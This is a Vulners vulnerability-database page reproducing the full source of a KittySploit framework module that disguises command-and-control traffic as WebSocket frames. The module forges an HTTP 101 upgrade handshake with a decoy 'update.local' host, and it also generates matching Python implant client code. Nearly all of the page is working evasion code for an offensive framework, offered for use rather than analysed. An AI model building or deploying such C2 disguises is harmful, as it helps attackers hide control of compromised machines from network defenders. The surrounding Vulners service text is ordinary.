Lucene search
+L

WebSocket Mimic Transform

🗓️ 10 Jul 2026 11:14:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

WebSocket Mimic Transform wraps C2 bytes in WebSocket-like binary frames.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
WebSocket mimic transform.

The first server-side encode prepends an HTTP 101 response, generated client
code prepends an HTTP Upgrade request, then traffic is wrapped in binary
WebSocket frames. Server frames are unmasked; generated client frames are masked
to resemble browser/client WebSocket traffic.
"""

import os
from typing import Optional
from kittysploit import *


MAX_FRAME_SIZE = 65535
MAX_BUFFER_SIZE = 1024 * 1024
HEADER_END = b"\r\n\r\n"

SERVER_UPGRADE = (
    b"HTTP/1.1 101 Switching Protocols\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
    b"\r\n"
)

CLIENT_UPGRADE = (
    b"GET /socket.io/?transport=websocket HTTP/1.1\r\n"
    b"Host: update.local\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
    b"Sec-WebSocket-Version: 13\r\n"
    b"\r\n"
)


class Module(Transform):
    """WebSocket binary frame mimic transform."""

    SUPPORTED_CLIENT_LANGUAGES = ["python"]

    __info__ = {
        "name": "WebSocket Mimic Transform",
        "description": "Wraps C2 bytes in WebSocket-like binary frames with an initial HTTP Upgrade exchange.",
        "author": "KittySploit Team",
        "version": "1.0.0",
    }

    def __init__(self, framework=None):
        super().__init__(framework)
        self._decode_buffer = bytearray()
        self._first_encode_done = False

    def _frame(self, payload: bytes, masked: bool = False) -> bytes:
        if len(payload) > MAX_FRAME_SIZE:
            payload = payload[:MAX_FRAME_SIZE]
        first = 0x82  # FIN + binary opcode
        length = len(payload)
        if length < 126:
            header = bytes([first, (0x80 if masked else 0) | length])
        else:
            header = bytes([first, (0x80 if masked else 0) | 126, (length >> 8) & 0xFF, length & 0xFF])
        if not masked:
            return header + payload
        mask = os.urandom(4)
        masked_payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
        return header + mask + masked_payload

    def encode(self, data: bytes, offset: int = 0) -> bytes:
        if not data:
            return data
        out = []
        if not self._first_encode_done:
            out.append(SERVER_UPGRADE)
            self._first_encode_done = True
        remaining = data
        while remaining:
            chunk = remaining[:MAX_FRAME_SIZE]
            remaining = remaining[MAX_FRAME_SIZE:]
            out.append(self._frame(chunk, masked=False))
        return b"".join(out)

    def _skip_http_headers_if_present(self) -> bool:
        if not self._decode_buffer.startswith((b"HTTP/", b"GET ", b"POST ")):
            return True
        end = self._decode_buffer.find(HEADER_END)
        if end == -1:
            if len(self._decode_buffer) > 8192:
                self._decode_buffer.clear()
            return False
        del self._decode_buffer[: end + len(HEADER_END)]
        return True

    def decode(self, data: bytes, offset: int = 0) -> bytes:
        if not data:
            return data
        self._decode_buffer.extend(data)
        if len(self._decode_buffer) > MAX_BUFFER_SIZE:
            del self._decode_buffer[:-MAX_BUFFER_SIZE]

        out = []
        while self._decode_buffer:
            if not self._skip_http_headers_if_present():
                break
            if len(self._decode_buffer) < 2:
                break

            second = self._decode_buffer[1]
            masked = bool(second & 0x80)
            length = second & 0x7F
            pos = 2
            if length == 126:
                if len(self._decode_buffer) < 4:
                    break
                length = (self._decode_buffer[2] << 8) | self._decode_buffer[3]
                pos = 4
            elif length == 127:
                self._decode_buffer.pop(0)
                continue
            if length > MAX_FRAME_SIZE:
                self._decode_buffer.pop(0)
                continue

            mask = b""
            if masked:
                if len(self._decode_buffer) < pos + 4:
                    break
                mask = bytes(self._decode_buffer[pos:pos + 4])
                pos += 4

            frame_len = pos + length
            if len(self._decode_buffer) < frame_len:
                break
            payload = bytes(self._decode_buffer[pos:frame_len])
            del self._decode_buffer[:frame_len]
            if masked:
                payload = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
            out.append(payload)

        return b"".join(out)

    def generate_client_code(self, language: str) -> Optional[str]:
        if language != "python":
            return None
        client_upgrade = CLIENT_UPGRADE.hex()
        return (
            "import os\n"
            "_xf_buf=bytearray()\n"
            "_xf_first=[True]\n"
            f"_xf_client_upgrade=bytes.fromhex('{client_upgrade}')\n"
            "def _xf_frame(c):\n"
            " if len(c)>65535: c=c[:65535]\n"
            " h=bytes([0x82])\n"
            " if len(c)<126: h+=bytes([0x80|len(c)])\n"
            " else: h+=bytes([0x80|126,(len(c)>>8)&0xFF,len(c)&0xFF])\n"
            " m=os.urandom(4)\n"
            " return h+m+bytes(b^m[i%4] for i,b in enumerate(c))\n"
            "def _xf_encode(d):\n"
            " if not d: return d\n"
            " out=[]\n"
            " if _xf_first[0]: out.append(_xf_client_upgrade); _xf_first[0]=False\n"
            " i=0\n"
            " while i<len(d): c=d[i:i+65535]; i+=65535; out.append(_xf_frame(c))\n"
            " return b''.join(out)\n"
            "def _xf_decode(d):\n"
            " _xf_buf.extend(d)\n"
            " out=[]\n"
            " while _xf_buf:\n"
            "  if _xf_buf.startswith((b'HTTP/',b'GET ',b'POST ')):\n"
            "   e=_xf_buf.find(b'\\r\\n\\r\\n')\n"
            "   if e==-1: break\n"
            "   del _xf_buf[:e+4]\n"
            "  if len(_xf_buf)<2: break\n"
            "  masked=bool(_xf_buf[1]&0x80); ln=_xf_buf[1]&0x7F; pos=2\n"
            "  if ln==126:\n"
            "   if len(_xf_buf)<4: break\n"
            "   ln=(_xf_buf[2]<<8)|_xf_buf[3]; pos=4\n"
            "  elif ln==127: _xf_buf.pop(0); continue\n"
            "  if ln>65535: _xf_buf.pop(0); continue\n"
            "  mask=b''\n"
            "  if masked:\n"
            "   if len(_xf_buf)<pos+4: break\n"
            "   mask=bytes(_xf_buf[pos:pos+4]); pos+=4\n"
            "  end=pos+ln\n"
            "  if len(_xf_buf)<end: break\n"
            "  p=bytes(_xf_buf[pos:end]); del _xf_buf[:end]\n"
            "  if masked: p=bytes(b^mask[i%4] for i,b in enumerate(p))\n"
            "  out.append(p)\n"
            " return b''.join(out)\n"
        )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
2